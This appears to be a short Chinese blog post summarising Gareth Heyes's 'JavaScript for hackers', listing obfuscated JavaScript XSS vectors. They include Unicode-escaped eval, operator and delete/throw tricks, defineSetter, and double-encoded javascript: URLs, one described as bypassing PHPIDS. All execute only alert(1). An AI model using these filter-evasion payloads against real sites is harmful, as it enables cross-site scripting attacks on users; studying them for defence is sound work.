JavaScript for hackers
Posted | archive
看到GARETHHEYES的JavaScript for hackers,摘录一些。
这人很牛的。。。他的http://www.businessinfo.co.uk/labs/上有n多exp
RegExp可以执行任意代码
'somestring'.replace(/some/,function($1){ alert(/Fuck GFW/) })
非常典型的函数式编程漏洞。嘿嘿。'XSS'.replace(/XSS/g,alert)
函数当参数传递。
Unicode转义
\u0061lert(1)
用eval('\\u'+'0061'+'lert(1)')
这个方法可以轻松过PHPIDS
这个还不算很逆天的,Mozilla的那个E4X导致的escape/unescape漏洞才多
JS引擎的宽容
+alert(1)--
+alert(1)
1/alert(1)
alert(1)>>>/abc/
sla.ckers上对这方面很有研究
throw, delete语法
throw delete~typeof~alert(1)
delete alert(1)
delete~[a=alert]/delete a(1)
delete [a=alert],delete a(1)
真是把JS旮旯的语法都用上了
全局对象其实是表达式
把JS当英语自然语言描述
stop, open, print && alert(1)
javascript : /is/^{ a : ' weird ' }[' & wonderful ']/" language "
the_fun: ['never '] + stop['s']
有趣的Getters/Setters
defineSetter('x',alert); x=1;
Opera下有效
location的双重encoding
location='javascript:%61%6c%65%72%74%28%31%29'
location='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c %75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)'
XSS矢量生成工具
作者提供了一个XSS矢量生成工具。
衍生阅读
THE SPANNER(也是大牛)的两篇JAVASCRIPT FOR HACKERS上,下
Comments